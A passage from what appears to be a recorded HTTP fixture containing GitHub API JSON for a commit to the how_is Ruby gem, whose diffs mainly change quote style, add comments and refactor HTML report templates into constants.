issues_or_pulls.sort_by { |x| DateTime.parse(x[\"created_at\"]) }\n end\n \n # Given an Array of issues or pulls, return the oldest.\n@@ -181,7 +161,7 @@ def newest_for(issues_or_pulls)\n \n # Given an issue or PR, returns the date it was created.\n def date_for(issue_or_pull)\n- DateTime.parse(issue_or_pull[''created_at''])\n+ DateTime.parse(issue_or_pull[\"created_at\"])\n end\n \n private\n@@ -192,7 +172,7 @@ def with_label_links(labels, repository)\n labels.map { |label, num_issues|\n label_link = \"https://github.com/#{repository}/issues?q=\" + CGI.escape(\"is:open is:issue label:\\\"#{label}\\\"\")\n \n- [label, {''link'' => label_link, ''total'' => num_issues}]\n+ [label, {\"link\" => label_link, \"total\" => num_issues}]\n }.to_h\n end\n \n@@ -206,11 +186,37 @@ def issue_or_pull_to_hash(iop)\n \n ret = {}\n \n- ret[''html_url''] = iop[''html_url'']\n- ret[''number''] = iop[''number'']\n- ret[''date''] = date_for(iop)\n+ ret[\"html_url\"] = iop[\"html_url\"]\n+ ret[\"number\"] = iop[\"number\"]\n+ ret[\"date\"] = date_for(iop)\n \n ret\n end\n+\n+ SECONDS_IN_A_YEAR = 31_556_926\n+ SECONDS_IN_A_MONTH = 2_629_743\n+ SECONDS_IN_A_WEEK = 604_800\n+ SECONDS_IN_A_DAY = 86_400\n+\n+ # Calculates a list of pairs of value and period label.\n+ #\n+ # @param age_in_seconds [Float]\n+ #\n+ # @return [Array] The input age_in_seconds expressed as different\n+ # units, as pairs of value and unit name.\n+ def period_pairs_for(age_in_seconds)\n+ years_remainder = age_in_seconds % SECONDS_IN_A_YEAR\n+\n+ months_remainder = years_remainder % SECONDS_IN_A_MONTH\n+\n+ weeks_remainder = months_remainder % SECONDS_IN_A_WEEK\n+\n+ [\n+ [age_in_seconds / SECONDS_IN_A_YEAR, \"year\"],\n+ [years_remainder / SECONDS_IN_A_MONTH, \"month\"],\n+ [months_remainder / SECONDS_IN_A_WEEK, \"week\"],\n+ [weeks_remainder / SECONDS_IN_A_DAY, \"day\"],\n+ ]\n+ end\n end\n end"},{"sha":"95faa6f7b8eec7302f5a073e9b39f638a79c8514","filename":"lib/how_is/fetcher.rb","status":"modified","additions":9,"deletions":9,"changes":18,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/fetcher.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/fetcher.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/fetcher.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,12 +1,12 @@\n # frozen_string_literal: true\n \n-require ''contracts''\n-require ''github_api''\n-require ''how_is/pulse''\n+require \"contracts\"\n+require \"github_api\"\n+require \"how_is/pulse\"\n \n-##\n-# Fetches data from GitHub.\n class HowIs\n+ ##\n+ # Fetches data from GitHub.\n class Fetcher\n include Contracts::Core\n \n@@ -37,12 +37,12 @@ def call(repository,\n pulse = nil)\n github ||= Github.new(auto_pagination: true)\n pulse ||= HowIs::Pulse.new(repository)\n- user, repo = repository.split(''/'', 2)\n+ user, repo = repository.split(\"/\", 2)\n \n unless user && repo\n- raise HowIs::CLI::OptionsError, ''To generate a report from GitHub, '' \\\n- ''provide the repository '' \\\n- ''username/project. Quitting!''\n+ raise HowIs::CLI::OptionsError, \"To generate a report from GitHub, \" \\\n+ \"provide the repository \" \\\n+ \"username/project. Quitting!\"\n end\n \n issues = github.issues.list user: user, repo: repo"},{"sha":"1174669d9de3523b77c9abadd9415542e0037034","filename":"lib/how_is/pulse.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/pulse.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/pulse.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/pulse.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''tessellator/fetcher''\n+require \"tessellator/fetcher\"\n \n class HowIs\n # This entire class is a monstrous hack, because GitHub doesn''t provide\n@@ -36,12 +36,12 @@ def parts\n end\n \n def stats_html_fragment\n- parts.last.split('''').first.strip\n+ parts.last.split(\"\").first.strip\n end\n \n # Fetch Pulse page from GitHub for scraping.\n def fetch_pulse!(repository)\n- Tessellator::Fetcher.new.call(''get'', \"https://github.com/#{repository}/pulse/monthly\")\n+ Tessellator::Fetcher.new.call(\"get\", \"https://github.com/#{repository}/pulse/monthly\")\n end\n end\n end"},{"sha":"d8830d1284a736327c932318a6163d4b1d63ec2b","filename":"lib/how_is/report.rb","status":"modified","additions":9,"deletions":6,"changes":15,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/report.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,23 +1,26 @@\n # frozen_string_literal: true\n \n-require ''date''\n+require \"date\"\n require \"pathname\"\n \n class HowIs\n+ # Raised when attempting to export to an unsupported format\n class UnsupportedExportFormat < StandardError\n def initialize(format)\n super(\"Unsupported export format: #{format}\")\n end\n end\n \n+ # Report control class with class methods to make reports for an analysis\n+ # or to save reports in files, or otherwise interact with the files.\n class Report\n- require ''how_is/report/json''\n- require ''how_is/report/html''\n+ require \"how_is/report/json\"\n+ require \"how_is/report/html\"\n \n ##\n # Export a report to a file.\n def self.export_file(analysis, file)\n- format = file.split(''.'').last\n+ format = file.split(\".\").last\n report = get_report_class(format).new(analysis)\n \n report.export_file(file)\n@@ -37,7 +40,7 @@ def self.export(analysis, format = HowIs::DEFAULT_FORMAT)\n # @param file [String,Pathname] Name of file to write to\n # @param report [Report] Report to store\n def self.save_report(file, report)\n- File.open(file, ''w'') do |f|\n+ File.open(file, \"w\") do |f|\n f.write report\n end\n end\n@@ -49,7 +52,7 @@ def self.save_report(file, report)\n #\n # @return [String] Report format inferred from file name\n def self.infer_format(file)\n- Pathname(file).extname.delete(''.'')\n+ Pathname(file).extname.delete(\".\")\n end\n \n ##"},{"sha":"8ab674ab55b9852d0569396aeb9aed760e783eda","filename":"lib/how_is/report/base_report.rb","status":"modified","additions":11,"deletions":10,"changes":21,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/report/base_report.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/report/base_report.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/base_report.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''json''\n+require \"json\"\n \n class HowIs\n BaseReport = Struct.new(:analysis)\n@@ -31,11 +31,11 @@ def generate_report_text!\n issue_or_pr_summary \"issue\", \"issue\"\n \n header \"Issues Per Label\"\n- issues_per_label = analysis.issues_with_label.to_a.sort_by { |(_, v)| v[''total''].to_i }.reverse\n+ issues_per_label = analysis.issues_with_label.to_a.sort_by { |(_, v)| v[\"total\"].to_i }.reverse\n issues_per_label.map! do |label, hash|\n- [label, hash[''total''], hash[''link'']]\n+ [label, hash[\"total\"], hash[\"link\"]]\n end\n- issues_per_label << [\"(No label)\", analysis.issues_with_no_label[''total''], nil]\n+ issues_per_label << [\"(No label)\", analysis.issues_with_no_label[\"total\"], nil]\n horizontal_bar_graph issues_per_label\n \n # See comment at beginning of function.\n@@ -125,19 +125,20 @@ def issue_or_pr_summary(type, type_label)\n date_format = \"%b %e, %Y\"\n a = analysis\n \n- number_of_type = a.send(\"number_of_#{type}s\")\n+ number_of_type = a.public_send(\"number_of_#{type}s\")\n \n- type_link = a.send(\"#{type}s_url\")\n- oldest = a.send(\"oldest_#{type}\")\n- newest = a.send(\"newest_#{type}\")\n+ type_link = a.public_send(\"#{type}s_url\")\n+ oldest = a.public_send(\"oldest_#{type}\")\n+ newest = a.public_send(\"newest_#{type}\")\n \n if number_of_type.zero?\n text \"There are #{link(\"no #{type_label}s open\", type_link)}.\"\n else\n- text \"There #{are_is(number_of_type)} #{link(\"#{number_of_type} #{pluralize(type_label, number_of_type)} open\", type_link)}.\"\n+ text \"There #{are_is(number_of_type)} #{link(\"#{number_of_type} \"\\\n+ \"#{pluralize(type_label, number_of_type)} open\", type_link)}.\"\n \n unordered_list [\n- \"Average age: #{a.send(\"average_#{type}_age\")}.\",\n+ \"Average age: #{a.public_send(\"average_#{type}_age\")}.\",\n \"#{link(''Oldest '' + type_label, oldest[''html_url''])} was opened on #{oldest[''date''].strftime(date_format)}.\",\n \"#{link(''Newest '' + type_label, newest[''html_url''])} was opened on #{newest[''date''].strftime(date_format)}.\",\n ]"},{"sha":"5def98338b99e9e6b4c8e5af8c418f97f9c1c20d","filename":"lib/how_is/report/html.rb","status":"modified","additions":59,"deletions":52,"changes":111,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/report/html.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/report/html.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/html.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,9 +1,10 @@\n # frozen_string_literal: true\n \n-require ''cgi''\n-require ''how_is/report/base_report''\n+require \"cgi\"\n+require \"how_is/report/base_report\"\n \n class HowIs\n+ # HTML Report implementation\n class HtmlReport < BaseReport\n def format\n :html\n@@ -34,6 +35,14 @@ def unordered_list(arr)\n @r += \"\\n\\n\"\n end\n \n+ ROW_HTML_GRAPH = <<-EOF\n+ \n+ %{label_text}\n+ %{link_text}\n+ \n+\n+ EOF\n+\n def horizontal_bar_graph(data)\n if data.length == 1 && data[0][0] == \"(No label)\"\n text \"There are no open issues to graph.\"\n@@ -48,65 +57,63 @@ def horizontal_bar_graph(data)\n \n @r += \"\\n\"\n data.each do |row|\n- percentage = get_percentage.call(row[1])\n-\n- label_text =\n- if row[2]\n- link(row[0], row[2])\n- else\n- row[0]\n- end\n-\n- @r += <<-EOF\n- \n- \n- \n- \n-\n- EOF\n+ @r += Kernel.format(ROW_HTML_GRAPH, label_width: label_width,\n+ label_text: label_text_for(row),\n+ percentage: get_percentage.call(row[1]),\n+ link_text: row[1])\n end\n @r += \"
#{label_text}#{row[1]}
\\n\"\n end\n \n def export\n- @r = ''''\n+ @r = \"\"\n generate_report_text!\n end\n \n+ HTML_DOC_TEMPLATE = <<~EOF\n+ \n+ \n+ \n+ %{title}\n+ \n+ \n+ \n+
\n+ %{report}\n+
\n+ \n+ \n+ EOF\n+\n def export_file(file)\n- report = export\n-\n- File.open(file, ''w'') do |f|\n- f.puts <<~EOF\n- \n- \n- \n- #{@title}\n- \n- \n- \n-
\n- #{report}\n-
\n- \n- \n- EOF\n+ content = Kernel.format(HTML_DOC_TEMPLATE, title: @title, report: export)\n+ File.open(file, \"w\") do |f|\n+ f.puts content\n+ end\n+ end\n+\n+ private\n+\n+ def label_text_for(row)\n+ if row[2]\n+ link(row[0], row[2])\n+ else\n+ row[0]\n end\n end\n end"},{"sha":"4b57331d06d8eae97ef32888e65e3dbe4efa2c35","filename":"lib/how_is/report/json.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/report/json.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/lib/how_is/report/json.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/lib/how_is/report/json.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''how_is/report/base_report''\n+require \"how_is/report/base_report\"\n \n class HowIs\n ##\n@@ -26,7 +26,7 @@ def export\n ##\n # Generates a report and writes it to a file.\n def export_file(file)\n- File.open(file, ''w'') do |f|\n+ File.open(file, \"w\") do |f|\n f.write export\n end\n end"},{"sha":"2618c8d1f55135f1c0e2a51d13d837f94f780c2b","filename":"spec/how_is/analyzer_spec.rb","status":"modified","additions":15,"deletions":15,"changes":30,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/how_is/analyzer_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/how_is/analyzer_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is/analyzer_spec.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,41 +1,41 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n+require \"spec_helper\"\n \n describe HowIs::Analyzer do\n- let(:issues) { JSON.parse(open(File.expand_path(''../data/issues.json'', __dir__)).read) }\n- let(:pulls) { JSON.parse(open(File.expand_path(''../data/pulls.json'', __dir__)).read) }\n+ let(:issues) { JSON.parse(open(File.expand_path(\"../data/issues.json\", __dir__)).read) }\n+ let(:pulls) { JSON.parse(open(File.expand_path(\"../data/pulls.json\", __dir__)).read) }\n \n- let(:fake_issues) { JSON.parse(open(File.expand_path(''../data/fake/issues.json'', __dir__)).read) }\n+ let(:fake_issues) { JSON.parse(open(File.expand_path(\"../data/fake/issues.json\", __dir__)).read) }\n # let(:fake_pulls) { JSON.parse(open(File.expand_path(''../data/pulls.json'', __dir__)).read) }\n \n let(:fetcher_results) { HowIs::Fetcher::Results.new(issues, pulls) }\n \n subject { HowIs::Analyzer.new }\n \n- context ''#num_with_label'' do\n- it ''returns a Hash mapping labels to the number of issues or pulls with that label'' do\n+ context \"#num_with_label\" do\n+ it \"returns a Hash mapping labels to the number of issues or pulls with that label\" do\n actual = subject.num_with_label(fake_issues)\n expected = {\"triage\" => 3, \"administrative\" => 2}\n \n expect(actual).to eq(expected)\n end\n end\n \n- context ''#average_date_for'' do\n- it ''returns the average date for the provided issues or pulls'' do\n+ context \"#average_date_for\" do\n+ it \"returns the average date for the provided issues or pulls\" do\n actual = subject.average_date_for(fake_issues)\n- expected = DateTime.parse(''2006-01-01'')\n+ expected = DateTime.parse(\"2006-01-01\")\n \n expect(actual).to eq(expected)\n end\n end\n \n- context ''#average_age_for'' do\n- it ''returns the average age for the provided issues or pulls'' do\n+ context \"#average_age_for\" do\n+ it \"returns the average age for the provided issues or pulls\" do\n actual = nil\n \n- date = DateTime.parse(''2016-07-07'')\n+ date = DateTime.parse(\"2016-07-07\")\n Timecop.freeze(date) do\n actual = subject.average_age_for(fake_issues)\n end\n@@ -46,10 +46,10 @@\n end\n end\n \n- context ''#oldest_for'' do\n- it ''returns the oldest item for the provided issues or pulls'' do\n+ context \"#oldest_for\" do\n+ it \"returns the oldest item for the provided issues or pulls\" do\n actual = subject.oldest_for(fake_issues)\n- expected = JSON.parse(open(File.expand_path(''../data/how_is/analyzer_spec/oldest_for.json'', __dir__)).read)\n+ expected = JSON.parse(open(File.expand_path(\"../data/how_is/analyzer_spec/oldest_for.json\", __dir__)).read)\n \n expect(actual).to eq(expected)\n end"},{"sha":"edd1b55415bbaf220f460ff8f02aa2cd0322d9de","filename":"spec/how_is/cli_spec.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/how_is/cli_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/how_is/cli_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is/cli_spec.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,21 +1,21 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n-require ''how_is/cli''\n+require \"spec_helper\"\n+require \"how_is/cli\"\n \n-CLI_EXAMPLE_REPORT_FILE = File.expand_path(''../data/how_is/cli_spec/example_report.json'', __dir__)\n+CLI_EXAMPLE_REPORT_FILE = File.expand_path(\"../data/how_is/cli_spec/example_report.json\", __dir__)\n \n describe HowIs::CLI do\n subject { HowIs::CLI }\n \n- context ''#parse'' do\n- it ''converts flags to a Hash'' do\n+ context \"#parse\" do\n+ it \"converts flags to a Hash\" do\n actual = subject.parse(%w[--version])\n \n expect(actual[:options][:version]).to eq(true)\n end\n \n- it ''raises NoRepositoryError if a repository is required but not specified'' do\n+ it \"raises NoRepositoryError if a repository is required but not specified\" do\n expect {\n subject.parse(%w[])\n }.to raise_error(HowIs::CLI::NoRepositoryError)\n@@ -37,7 +37,7 @@\n expect(actual[:options][:from]).to eq(CLI_EXAMPLE_REPORT_FILE)\n end\n \n- it ''raises InvalidOutputFileError if you specify an invalid format'' do\n+ it \"raises InvalidOutputFileError if you specify an invalid format\" do\n expect {\n subject.parse(%w[--report has_an.invalidformat how-is/example-repository])\n }.to raise_error(HowIs::CLI::InvalidOutputFileError, /has_an.invalidformat/)"},{"sha":"cf0b304e36d15ccc99e90ab4b44c21c3f98f5889","filename":"spec/how_is/fetcher_spec.rb","status":"modified","additions":12,"deletions":12,"changes":24,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/how_is/fetcher_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/how_is/fetcher_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is/fetcher_spec.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,35 +1,35 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n-require ''json''\n+require \"spec_helper\"\n+require \"json\"\n \n describe HowIs::Fetcher do\n- let(:issues) { JSON.parse(open(File.expand_path(''../data/issues.json'', __dir__)).read) }\n- let(:pulls) { JSON.parse(open(File.expand_path(''../data/pulls.json'', __dir__)).read) }\n+ let(:issues) { JSON.parse(open(File.expand_path(\"../data/issues.json\", __dir__)).read) }\n+ let(:pulls) { JSON.parse(open(File.expand_path(\"../data/pulls.json\", __dir__)).read) }\n \n let(:github) {\n instance_double(\n- ''GitHub'',\n- issues: instance_double(''GitHub::Issues'', list: issues),\n- pulls: instance_double(''GitHub::Pulls'', list: pulls)\n+ \"GitHub\",\n+ issues: instance_double(\"GitHub::Issues\", list: issues),\n+ pulls: instance_double(\"GitHub::Pulls\", list: pulls)\n )\n }\n \n let(:pulse) {\n Class.new {\n def html_summary\n- ''html_summary''\n+ \"html_summary\"\n end\n }.new\n }\n \n- context ''#call'' do\n- it ''returns a hash containing issues and pull requests'' do\n- actual = subject.call(''user/repo'', github, pulse)\n+ context \"#call\" do\n+ it \"returns a hash containing issues and pull requests\" do\n+ actual = subject.call(\"user/repo\", github, pulse)\n \n expect(actual[:issues]).to eq(issues)\n expect(actual[:pulls]).to eq(pulls)\n- expect(actual[:pulse]).to eq(''html_summary'')\n+ expect(actual[:pulse]).to eq(\"html_summary\")\n end\n end\n end"},{"sha":"77bdb6f9bf4cb55e882349bf8564456149e1e499","filename":"spec/how_is/integration.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/how_is/integration.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/how_is/integration.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is/integration.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,12 +1,12 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n+require \"spec_helper\"\n \n-HOW_IS_EXE = File.expand_path(''../../exe/how_is'', __dir__)\n+HOW_IS_EXE = File.expand_path(\"../../exe/how_is\", __dir__)\n \n-describe ''Integration Tests'' do\n- context ''--help and -h flags'' do\n- it ''outputs usage information'' do\n+describe \"Integration Tests\" do\n+ context \"--help and -h flags\" do\n+ it \"outputs usage information\" do\n %w[--help -h].each do |flag|\n stub_const(\"ARGV\", [flag])\n \n@@ -17,8 +17,8 @@\n end\n end\n \n- context ''--version and -v flags'' do\n- it ''outputs the version number'' do\n+ context \"--version and -v flags\" do\n+ it \"outputs the version number\" do\n %w[--version -v].each do |flag|\n stub_const(\"ARGV\", [flag])\n "},{"sha":"16606fbf554bb13fcd78e58b09e74d7ff763361f","filename":"spec/how_is_spec.rb","status":"modified","additions":38,"deletions":38,"changes":76,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/how_is_spec.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/how_is_spec.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/how_is_spec.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,17 +1,17 @@\n # frozen_string_literal: true\n \n-require ''spec_helper''\n-require ''open3''\n-require ''timecop''\n-require ''yaml''\n+require \"spec_helper\"\n+require \"open3\"\n+require \"timecop\"\n+require \"yaml\"\n \n-HOW_IS_CONFIG_FILE = File.expand_path(''./data/how_is.yml'', __dir__)\n+HOW_IS_CONFIG_FILE = File.expand_path(\"./data/how_is.yml\", __dir__)\n \n-HOW_IS_EXAMPLE_REPOSITORY_JSON_REPORT = File.expand_path(''./data/how-is-example-repository-report.json'', __dir__)\n-HOW_IS_EXAMPLE_REPOSITORY_HTML_REPORT = File.expand_path(''./data/how-is-example-repository-report.html'', __dir__)\n+HOW_IS_EXAMPLE_REPOSITORY_JSON_REPORT = File.expand_path(\"./data/how-is-example-repository-report.json\", __dir__)\n+HOW_IS_EXAMPLE_REPOSITORY_HTML_REPORT = File.expand_path(\"./data/how-is-example-repository-report.html\", __dir__)\n \n HOW_IS_EXAMPLE_EMPTY_REPOSITORY_HTML_REPORT =\n- File.expand_path(''./data/how-is-example-empty-repository-report.html'', __dir__)\n+ File.expand_path(\"./data/how-is-example-empty-repository-report.html\", __dir__)\n \n JEKYLL_HEADER =\n <<~EOF\n@@ -26,23 +26,23 @@\n # 2016-11-01 00:00:00 UTC.\n # See note in lib/how_is/report.rb about new_offset.\n # TODO: Stop pretending to always be in UTC.\n- date = DateTime.parse(''2016-11-01'').new_offset(0)\n+ date = DateTime.parse(\"2016-11-01\").new_offset(0)\n Timecop.freeze(date)\n end\n \n after do\n Timecop.return\n end\n \n- it ''from_json(json) works'' do\n+ it \"from_json(json) works\" do\n expected = File.open(HOW_IS_EXAMPLE_REPOSITORY_JSON_REPORT).read\n actual = HowIs.from_json(expected).to_json\n \n expect(expected.strip).to eq(actual.strip)\n end\n \n- context ''with a config'' do\n- it ''generates valid report files'' do\n+ context \"with a config\" do\n+ it \"generates valid report files\" do\n Dir.mktmpdir { |dir|\n Dir.chdir(dir) {\n reports = nil\n@@ -53,7 +53,7 @@\n }.to_not output.to_stderr\n end\n \n- html_report = reports[''./report.html'']\n+ html_report = reports[\"./report.html\"]\n # TODO: Verify that JSON report is correct.\n # json_report = reports[''./report.json'']\n \n@@ -63,67 +63,67 @@\n end\n end\n \n- context ''HTML report for how-is/example-repository'' do\n- it ''generates a valid report'' do\n+ context \"HTML report for how-is/example-repository\" do\n+ it \"generates a valid report\" do\n expected = File.open(HOW_IS_EXAMPLE_REPOSITORY_HTML_REPORT).read.chomp\n actual = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n expect {\n- actual = HowIs.new(''how-is/example-repository'').to_html\n+ actual = HowIs.new(\"how-is/example-repository\").to_html\n }.to_not output.to_stderr\n end\n \n expect(expected).to eq(actual)\n end\n end\n \n- context ''JSON report for how-is/example-repository'' do\n- it ''generates a valid report file'' do\n+ context \"JSON report for how-is/example-repository\" do\n+ it \"generates a valid report file\" do\n expected = File.open(HOW_IS_EXAMPLE_REPOSITORY_JSON_REPORT).read.chomp\n actual = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n expect {\n- actual = HowIs.new(''how-is/example-repository'').to_json\n+ actual = HowIs.new(\"how-is/example-repository\").to_json\n }.to_not output.to_stderr\n end\n \n expect(expected).to eq(actual)\n end\n end\n \n- context ''HTML report for repository with no PRs or issues'' do\n- it ''generates a valid report file'' do\n+ context \"HTML report for repository with no PRs or issues\" do\n+ it \"generates a valid report file\" do\n expected = File.open(HOW_IS_EXAMPLE_EMPTY_REPOSITORY_HTML_REPORT).read.chomp\n actual = nil\n \n VCR.use_cassette(\"how-is-example-empty-repository\") do\n expect {\n- actual = HowIs.new(''how-is/example-empty-repository'').to_html\n+ actual = HowIs.new(\"how-is/example-empty-repository\").to_html\n }.to_not output.to_stderr\n end\n \n expect(expected).to eq(actual)\n end\n end\n \n- # Disable ''cop'' that is violated by every .generate_frontmatter() calls.\n- # rubocop:disable Layout/BracesAroundHashParameters\n- context ''#generate_frontmatter'' do\n- it ''works with frontmatter parameter using String keys, report_data using String keys'' do\n+ # Disable RuboCop rule that is violated by every .generate_frontmatter() call.\n+ # rubocop:disable Style/BracesAroundHashParameters\n+ context \"#generate_frontmatter\" do\n+ it \"works with frontmatter parameter using String keys, report_data using String keys\" do\n actual = nil\n expected = nil\n \n VCR.use_cassette(\"how-is-example-repository\") do\n- actual = HowIs.generate_frontmatter({''foo'' => \"bar %{baz}\"}, {''baz'' => \"asdf\"})\n+ actual = HowIs.generate_frontmatter({\"foo\" => \"bar %{baz}\"}, {\"baz\" => \"asdf\"})\n expected = \"---\\nfoo: bar asdf\\n\"\n end\n \n expect(actual).to eq(expected)\n end\n \n- it ''works with frontmatter parameter using Symbol keys, report_data using Symbol keys'' do\n+ it \"works with frontmatter parameter using Symbol keys, report_data using Symbol keys\" do\n actual = nil\n expected = nil\n \n@@ -138,20 +138,20 @@\n # Re-enable.\n # rubocop:enable Style/BracesAroundHashParameters\n \n- context ''#from_config'' do\n+ context \"#from_config\" do\n let(:config) {\n- file = File.expand_path(''./data/how_is/cli_spec/how_is.yml'', __dir__)\n+ file = File.expand_path(\"./data/how_is/cli_spec/how_is.yml\", __dir__)\n YAML.load_file(file)\n }\n \n- let(:issues) { JSON.parse(open(File.expand_path(''./data/issues.json'', __dir__)).read) }\n- let(:pulls) { JSON.parse(open(File.expand_path(''./data/pulls.json'', __dir__)).read) }\n+ let(:issues) { JSON.parse(open(File.expand_path(\"./data/issues.json\", __dir__)).read) }\n+ let(:pulls) { JSON.parse(open(File.expand_path(\"./data/pulls.json\", __dir__)).read) }\n \n let(:github) {\n instance_double(\n- ''GitHub'',\n- issues: instance_double(''GitHub::Issues'', list: issues),\n- pulls: instance_double(''GitHub::Pulls'', list: pulls)\n+ \"GitHub\",\n+ issues: instance_double(\"GitHub::Issues\", list: issues),\n+ pulls: instance_double(\"GitHub::Pulls\", list: pulls)\n )\n }\n \n@@ -163,15 +163,15 @@ def self.export(_analysis, _format)\n }\n }\n \n- it ''generates a report, with correct frontmatter'' do\n+ it \"generates a report, with correct frontmatter\" do\n reports = nil\n \n VCR.use_cassette(\"how-is-from-config-frontmatter\") do\n reports = HowIs.from_config(config, github: github, report_class: report_class)\n end\n \n- actual_html = reports[''output/report.html'']\n- actual_json = reports[''output/report.json'']\n+ actual_html = reports[\"output/report.html\"]\n+ actual_json = reports[\"output/report.json\"]\n \n expected_html = <<~EOF\n ---"},{"sha":"cd1e9ce72936eacfdb78a81357683a1649d188f0","filename":"spec/spec_helper.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/spec_helper.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/spec_helper.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/spec_helper.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-$LOAD_PATH.unshift File.expand_path(''../../lib'', __FILE__)\n-require ''how_is''\n-require ''timecop''\n-require File.expand_path(''./vcr_helper.rb'', __dir__)\n+$LOAD_PATH.unshift File.expand_path(\"../../lib\", __FILE__)\n+require \"how_is\"\n+require \"timecop\"\n+require File.expand_path(\"./vcr_helper.rb\", __dir__)"},{"sha":"45ef62fb608a4ce1ad4d044d0f56270a2dc24ff7","filename":"spec/vcr_helper.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/how-is/how_is/blob/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/vcr_helper.rb","raw_url":"https://github.com/how-is/how_is/raw/d2311beacc8380e7f7c3ca37180ba5deb7ed9181/spec/vcr_helper.rb","contents_url":"https://api.github.com/repos/how-is/how_is/contents/spec/vcr_helper.rb?ref=d2311beacc8380e7f7c3ca37180ba5deb7ed9181","patch":"@@ -1,6 +1,6 @@\n # frozen_string_literal: true\n \n-require ''vcr''\n+require \"vcr\"\n \n VCR.configure do |config|\n config.cassette_library_dir = \"fixtures/vcr_cassettes\""}]}' http_version: recorded_at: Fri, 26 Apr 2019 20:32:35 GMT - request: method: get uri: 